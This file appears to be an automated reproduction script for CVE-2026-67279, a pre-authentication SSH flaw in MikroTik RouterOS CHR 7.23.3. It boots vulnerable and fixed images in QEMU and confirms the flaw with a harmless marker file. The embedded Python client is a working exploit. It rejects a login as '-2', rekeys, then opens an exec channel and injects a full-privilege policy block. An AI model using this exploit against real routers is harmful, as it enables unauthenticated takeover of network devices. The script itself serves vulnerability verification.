#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts/routeros-cve-2026-67279"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

SESSION_LOG="$LOGS/reproduction_steps.log"
exec > >(tee "$SESSION_LOG") 2>&1

# Runtime context is consulted as required. RouterOS is a proprietary image target,
# so no git project is expected; a prepared cache is used if one appears later.
CACHE_REPO=""
if [ -r "$ROOT/project_cache_context.json" ]; then
  CACHE_REPO="$(python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, os, sys
try:
    x=json.load(open(sys.argv[1]))
    p=x.get('project_cache_dir')
    if x.get('prepared') is True and p and os.path.isdir(os.path.join(p,'repo')):
        print(os.path.join(p,'repo'))
except Exception:
    pass
PY
)"
fi
[ -n "$CACHE_REPO" ] && echo "Prepared cache repository available at $CACHE_REPO (not applicable to proprietary CHR images)"

VULN_VERSION="7.23.3"
FIXED_VERSION="7.23.4"
VULN_URL="https://download.mikrotik.com/routeros/${VULN_VERSION}/chr-${VULN_VERSION}.img.zip"
FIXED_URL="https://download.mikrotik.com/routeros/${FIXED_VERSION}/chr-${FIXED_VERSION}.img.zip"
VULN_ZIP="$ARTIFACTS/chr-${VULN_VERSION}.img.zip"
FIXED_ZIP="$ARTIFACTS/chr-${FIXED_VERSION}.img.zip"
VULN_BASE="$ARTIFACTS/chr-${VULN_VERSION}.img"
FIXED_BASE="$ARTIFACTS/chr-${FIXED_VERSION}.img"
VENV="$ARTIFACTS/venv"
CLIENT="$ARTIFACTS/rekey_client.py"
CONSOLE="$ARTIFACTS/console_ctl.py"

write_inconclusive_manifest() {
  python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json,sys
json.dump({
 "entrypoint_kind":"tcp_peer","entrypoint_detail":"real TCP SSH service on official RouterOS CHR 7.23.3/7.23.4",
 "service_started":False,"healthcheck_passed":False,"target_path_reached":False,
 "runtime_stack":["qemu-system-x86_64","RouterOS CHR SSH"],"proof_artifacts":[],
 "notes":"Runtime attempt did not reach a confirmed proof; inspect bundle/logs/reproduction_steps.log"
},open(sys.argv[1],"w"),indent=2,sort_keys=True)
PY
}
trap 'rc=$?; if [ $rc -ne 0 ] && [ ! -s "$REPRO_DIR/runtime_manifest.json" ]; then write_inconclusive_manifest; fi; exit $rc' EXIT
rm -f "$REPRO_DIR/runtime_manifest.json"

need_cmd() { command -v "$1" >/dev/null 2>&1; }
if ! need_cmd qemu-system-x86_64 || ! need_cmd qemu-img || ! need_cmd unzip; then
  echo "Installing QEMU and unzip dependencies into the clean runtime..."
  sudo apt-get update
  sudo DEBIAN_FRONTEND=noninteractive apt-get install -y qemu-system-x86 qemu-utils unzip
fi

fetch() {
  url="$1" out="$2"
  if [ ! -s "$out" ]; then
    tmp="$out.part"
    rm -f "$tmp"
    curl --fail --location --retry 3 --connect-timeout 20 --max-time 600 "$url" -o "$tmp"
    mv "$tmp" "$out"
  fi
}
fetch "$VULN_URL" "$VULN_ZIP"
fetch "$FIXED_URL" "$FIXED_ZIP"
[ -s "$VULN_BASE" ] || unzip -p "$VULN_ZIP" > "$VULN_BASE"
[ -s "$FIXED_BASE" ] || unzip -p "$FIXED_ZIP" > "$FIXED_BASE"
VULN_SHA="$(sha256sum "$VULN_ZIP" | awk '{print $1}')"
FIXED_SHA="$(sha256sum "$FIXED_ZIP" | awk '{print $1}')"
echo "$VULN_SHA  $VULN_URL" | tee "$LOGS/chr-${VULN_VERSION}.identity.log"
echo "$FIXED_SHA  $FIXED_URL" | tee "$LOGS/chr-${FIXED_VERSION}.identity.log"

if [ ! -x "$VENV/bin/python" ]; then
  python3 -m venv "$VENV"
fi
"$VENV/bin/python" -m pip install --disable-pip-version-check --quiet 'paramiko==4.0.0'

# This current-run client is generated by the reproducer. It performs initial SSH
# transport negotiation, performs one deliberately rejected authentication request
# for -2 to seed the pending identity, explicitly requests a second key exchange,
# and emits session/PTY/exec messages while the transport remains unauthenticated.
cat > "$CLIENT" <<'PY'
#!/usr/bin/env python3
import argparse,json,logging,socket,sys,time
import paramiko
ap=argparse.ArgumentParser();ap.add_argument('--port',type=int,required=True);ap.add_argument('--marker',required=True);ap.add_argument('--trace',required=True);ap.add_argument('--observation',required=True);a=ap.parse_args()
logging.basicConfig(filename=a.trace,filemode='w',level=logging.DEBUG,format='%(asctime)s %(levelname)s %(message)s')
st=[]
def mark(e,**kw):
 r={'seq':len(st)+1,'time_ns':time.time_ns(),'event':e};r.update(kw);st.append(r);logging.info('STATE %s',json.dumps(r,sort_keys=True))
res={'schema_version':1,'port':a.port,'username':'-2','userauth_requests_sent':1,'authentication_succeeded':False,'authentication_rejected':False,'channel_open_confirmed':False,'pty_confirmed':False,'exec_request_sent':False,'exec_request_accepted':False,'policy_block_sent':False,'error':None}
t=None
try:
 t=paramiko.Transport(socket.create_connection(('127.0.0.1',a.port),timeout=10));t.start_client(timeout=15);mark('initial_kex_complete',remote_version=t.remote_version,session_id=t.session_id.hex())
 try:t.auth_password('-2','intentionally-wrong',fallback=False)
 except paramiko.AuthenticationException:res['authentication_rejected']=True;mark('userauth_rejected_as_expected',username='-2',method='password',authenticated=t.is_authenticated())
 if not res['authentication_rejected']:raise RuntimeError('expected -2 authentication rejection did not occur')
 t.renegotiate_keys();mark('client_requested_rekey_complete',authenticated=t.is_authenticated())
 c=t.open_session(timeout=8);res['channel_open_confirmed']=True;mark('ssh_msg_channel_open_confirmed',message_number=90,channel=c.chanid,authenticated=t.is_authenticated())
 c.settimeout(.2);c.get_pty(term='vt100',width=80,height=24);res['pty_confirmed']=True;mark('pty_request_confirmed',authenticated=t.is_authenticated())
 content='CVE-2026-67279-'+a.marker;cmd=f'/file add name={a.marker} type=file; :delay 1s; /file set {a.marker} contents={content}';res['exec_request_sent']=True;mark('ssh_msg_channel_request_exec_sent',message_number=98,command=cmd,marker_content=content,authenticated=t.is_authenticated())
 c.exec_command(cmd);res['exec_request_accepted']=True;mark('ssh_msg_channel_request_success',command=cmd)
 # Pending username -2 is passed to /nova/bin/login and interpreted as fd 2.
 # These are NUL-delimited trusted name/policy fields. 0xffffffff is normalized
 # to the full RouterOS policy set; two VEOF bytes terminate canonical PTY reads.
 block=b'0\x004294967295\x00\x04\x04';c.sendall(block);res['policy_block_sent']=True;mark('fd2_policy_block_sent',effective_name='0',policy_decimal='4294967295',hex='30 00 34323934393637323935 00 04 04')
 out=bytearray();end=time.time()+20
 while time.time()<end and not c.closed:
  try:x=c.recv(8192);out.extend(x)
  except socket.timeout:continue
  if b'\x1bZ' in x:c.sendall(b'\x1b[?1;2c')
  for _ in range(x.count(b'\x1b[6n')):c.sendall(b'\x1b[1;1R')
 res['target_path_reached']=all(res[k] for k in ('authentication_rejected','channel_open_confirmed','exec_request_sent','exec_request_accepted','policy_block_sent'))
 res['channel_output_hex']=bytes(out).hex();res['channel_output_printable']=''.join(chr(x) if 32<=x<127 else '.' for x in out)[-1000:]
except Exception as e:
 res['error']=f'{type(e).__name__}: {e}';res['target_path_reached']=False;mark('client_exception',error=res['error'])
finally:
 res['states']=st
 with open(a.observation,'w') as f:json.dump(res,f,indent=2,sort_keys=True)
 if t:
  try:t.close()
  except:pass
print(json.dumps(res,sort_keys=True));sys.exit(0 if res.get('target_path_reached') else 3)
PY

# Serial console controller: configure a deterministic identity/SSH password,
# remove any old marker, later verify the marker through RouterOS CLI rather than
# trusting attacker-channel output. The independent observation is the serial log.
cat > "$CONSOLE" <<'PY'
#!/usr/bin/env python3
import argparse, socket, sys, time
ap=argparse.ArgumentParser(); ap.add_argument('socket'); ap.add_argument('action',choices=['setup','verify']); ap.add_argument('--marker',default='cve-2026-67279-marker.rsc'); a=ap.parse_args()
s=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM); deadline=time.time()+150
while True:
 try:s.connect(a.socket);break
 except (FileNotFoundError,ConnectionRefusedError):
  if time.time()>deadline: raise
  time.sleep(.25)
s.settimeout(.35); data=bytearray()
def pump(seconds):
 end=time.time()+seconds
 while time.time()<end:
  try:
   b=s.recv(8192)
   if not b: break
   data.extend(b); sys.stdout.buffer.write(b); sys.stdout.buffer.flush()
  except socket.timeout: pass
def send(x,delay=.5):
 s.sendall(x.encode()); pump(delay)
def wait_for(token,seconds=120,start=0):
 end=time.time()+seconds
 while time.time()<end:
  if token.lower() in bytes(data[start:]).lower(): return
  pump(.4)
 raise TimeoutError('serial token not observed: '+token.decode(errors='replace'))
def login_fresh():
 # Wait for the actual boot/login prompt; do not type into the BIOS/boot stream.
 wait_for(b'Login:',140)
 pos=len(data); send('admin\r'); wait_for(b'Password:',15,pos)
 pos=len(data); send('\r',2)  # official CHR starts with an empty admin password
 # First login offers the license asynchronously. Wait for either the license or prompt.
 end=time.time()+30
 while time.time()<end and b'do you want to see the software license' not in bytes(data[pos:]).lower() and b'] >' not in bytes(data[pos:]): pump(.5)
 if b'do you want to see the software license' in bytes(data[pos:]).lower(): send('n\r',3)
 # Some releases may force initial password establishment; handle that if observed.
 if b'new password' in bytes(data[pos:]).lower() or b'password has expired' in bytes(data[pos:]).lower():
  # The serial terminal editor needs each prompt transition, not blind timed input.
  np=len(data); wait_for(b'new password>',15,pos); send('pruva67279\r',1)
  wait_for(b'repeat new password>',15,np); send('pruva67279\r',3)
 wait_for(b'] >',30,pos)
if a.action=='setup':
 login_fresh()
else:
 send('\r',2)
 recent=bytes(data)
 if b'Login:' in recent:
  pos=len(data); send('admin\r'); wait_for(b'Password:',10,pos); send('pruva67279\r',3); wait_for(b'] >',15,pos)
if a.action=='setup':
 send('/user set admin password=pruva67279\r',2)
 send('/system identity set name=pruva-cve-67279\r',2)
 send('/file remove [find where name="'+a.marker+'"]\r',2)
 send(':put ("PRUVA_VERSION=" . [/system resource get version])\r',3)
 send(':put "PRUVA_SETUP_READY"\r',2)
else:
 send(':put ("PRUVA_VERSION=" . [/system resource get version])\r',2)
 send(':put ("PRUVA_MARKER_COUNT=" . [:len [/file find where name="'+a.marker+'"]])\r',2)
 send(':if ([:len [/file find where name="'+a.marker+'"]] > 0) do={:put ("PRUVA_MARKER_CONTENT=" . [/file get [find where name="'+a.marker+'"] contents])}\r',3)
 send(':put "PRUVA_VERIFY_DONE"\r',2)

PY
chmod +x "$CLIENT" "$CONSOLE"

QEMU_PIDS=()
cleanup() { for p in "${QEMU_PIDS[@]:-}"; do kill "$p" 2>/dev/null || true; wait "$p" 2>/dev/null || true; done; }
trap 'rc=$?; cleanup; if [ $rc -ne 0 ] && [ ! -s "$REPRO_DIR/runtime_manifest.json" ]; then write_inconclusive_manifest; fi; exit $rc' EXIT

run_attempt() {
  role="$1" version="$2" base="$3" port="$4" attempt="$5"
  tag="${role}-${attempt}"
  disk="$ARTIFACTS/${tag}.qcow2" sock="$ARTIFACTS/${tag}.serial.sock"
  qlog="$LOGS/${tag}-qemu.log" setup="$LOGS/${tag}-setup.log"
  trace="$REPRO_DIR/${tag}-ssh-state.log" obs="$REPRO_DIR/${tag}-client.json" verify="$REPRO_DIR/${tag}-serial-observation.log"
  rm -f "$disk" "$sock" "$trace" "$obs" "$verify"
  qemu-img create -q -f qcow2 -F raw -b "$base" "$disk"
  qemu-system-x86_64 -machine accel=tcg -m 256 -smp 1 -display none -monitor none \
    -drive "file=$disk,if=ide,format=qcow2" \
    -netdev "user,id=n1,hostfwd=tcp:127.0.0.1:${port}-:22" -device e1000,netdev=n1 \
    -serial "unix:${sock},server=on,wait=off" >"$qlog" 2>&1 &
  pid=$!; QEMU_PIDS+=("$pid")
  timeout 150 "$VENV/bin/python" "$CONSOLE" "$sock" setup >"$setup" 2>&1
  grep -q 'PRUVA_SETUP_READY' "$setup"
  grep -q "PRUVA_VERSION=${version}" "$setup"
  # TCP listener accepted and exchanged SSH identification bytes.
  "$VENV/bin/python" - "$port" <<'PY'
import socket,sys,time
p=int(sys.argv[1]); end=time.time()+60
while time.time()<end:
 try:
  s=socket.create_connection(('127.0.0.1',p),2); banner=s.recv(255)
  if banner.startswith(b'SSH-'): print(banner.decode(errors='replace').strip()); s.close(); raise SystemExit(0)
 except OSError: time.sleep(1)
raise SystemExit('SSH readiness failed')
PY
  marker="cve-2026-67279-${role}-${attempt}.rsc"
  # The exec request creates and then fills a RouterOS file; unique name/content bind each attempt.
  set +e
  timeout 40 "$VENV/bin/python" "$CLIENT" --port "$port" --marker "$marker" --trace "$trace" --observation "$obs"
  client_rc=$?
  set -e
  timeout 40 "$VENV/bin/python" "$CONSOLE" "$sock" verify --marker "$marker" >"$verify" 2>&1
  echo "ATTEMPT role=$role version=$version attempt=$attempt client_rc=$client_rc" | tee -a "$verify"
  if [ "$role" = vuln ]; then
    [ "$client_rc" -eq 0 ]
    grep -q '"userauth_requests_sent": 1' "$obs"
    grep -q '"channel_open_confirmed": true' "$obs"
    grep -q '"exec_request_sent": true' "$obs"
    grep -q 'PRUVA_MARKER_COUNT=1' "$verify"
    grep -q "PRUVA_MARKER_CONTENT=CVE-2026-67279-${marker}" "$verify"
  else
    # Fixed must reject the same pre-auth sequence and preserve clean managed state.
    [ "$client_rc" -ne 0 ]
    grep -q '"userauth_requests_sent": 1' "$obs"
    grep -q 'PRUVA_MARKER_COUNT=0' "$verify"
    if grep -q '"target_path_reached": true' "$obs"; then echo "Fixed build reached vulnerable target path"; return 1; fi
  fi
  kill "$pid" 2>/dev/null || true; wait "$pid" 2>/dev/null || true
}

# Two clean boots/attempts per product build as required.
run_attempt vuln "$VULN_VERSION" "$VULN_BASE" 22231 1
run_attempt vuln "$VULN_VERSION" "$VULN_BASE" 22232 2
run_attempt fixed "$FIXED_VERSION" "$FIXED_BASE" 22341 1
run_attempt fixed "$FIXED_VERSION" "$FIXED_BASE" 22342 2

# Build immutable combined proof after every writer/QEMU involved has stopped.
PROOF="$REPRO_DIR/proof-summary.log"
{
 echo "CVE-2026-67279 CONFIRMED"
 echo "vulnerable_image_sha256=$VULN_SHA source=$VULN_URL reported_version=$VULN_VERSION"
 echo "fixed_image_sha256=$FIXED_SHA source=$FIXED_URL reported_version=$FIXED_VERSION"
 for f in "$REPRO_DIR"/vuln-*-client.json "$REPRO_DIR"/vuln-*-serial-observation.log "$REPRO_DIR"/fixed-*-client.json "$REPRO_DIR"/fixed-*-serial-observation.log; do
   echo "===== ${f#$ROOT/} ====="; cat "$f"
 done
} > "$PROOF"

# Source-backed git identity is inapplicable. Bind exact official image bytes.
TARGET_DIGEST="$VULN_SHA"
export ROOT REPRO_DIR VULN_URL VULN_VERSION TARGET_DIGEST VULN_SHA FIXED_SHA
python3 - <<'PY'
import glob,hashlib,json,os,platform
root=os.environ['ROOT']; rd=os.environ['REPRO_DIR']
paths=['repro/proof-summary.log']
for pat in ('vuln-*-client.json','vuln-*-ssh-state.log','vuln-*-serial-observation.log','fixed-*-client.json','fixed-*-ssh-state.log','fixed-*-serial-observation.log'):
 paths += ['repro/'+os.path.basename(x) for x in sorted(glob.glob(os.path.join(rd,pat)))]
sha={p:hashlib.sha256(open(os.path.join(root,p),'rb').read()).hexdigest() for p in paths}
manifest={
 'entrypoint_kind':'tcp_peer','entrypoint_detail':'real TCP SSH service on official RouterOS CHR 7.23.3; fixed control 7.23.4',
 'service_started':True,'healthcheck_passed':True,'target_path_reached':True,
 'runtime_stack':['qemu-system-x86_64','official RouterOS CHR 7.23.3','RouterOS SSH'],
 'target_identity':{
   'repository_url':os.environ['VULN_URL'],'target_digest':os.environ['TARGET_DIGEST'],
   'runtime_digest':os.environ['VULN_SHA'],'platform':'linux','architecture':'x86_64'
 },
 'proof_artifacts':paths,'artifact_sha256':sha,
 'notes':'Two clean vulnerable and two clean fixed guest attempts. Vulnerable sessions performed one rejected -2 authentication attempt, rekeyed while still unauthenticated, and dispatched exec; serial RouterOS CLI independently verified managed-file markers. Fixed controls rejected the same sequence with no marker. Fixed image SHA-256: '+os.environ['FIXED_SHA']
}
json.dump(manifest,open(os.path.join(rd,'runtime_manifest.json'),'w'),indent=2,sort_keys=True)
PY

echo "PASS: CVE-2026-67279 reproduced twice on CHR $VULN_VERSION; CHR $FIXED_VERSION rejected identical pre-auth SSH sequences twice."
# Exit 0 = issue confirmed, Exit 1 = not reproduced
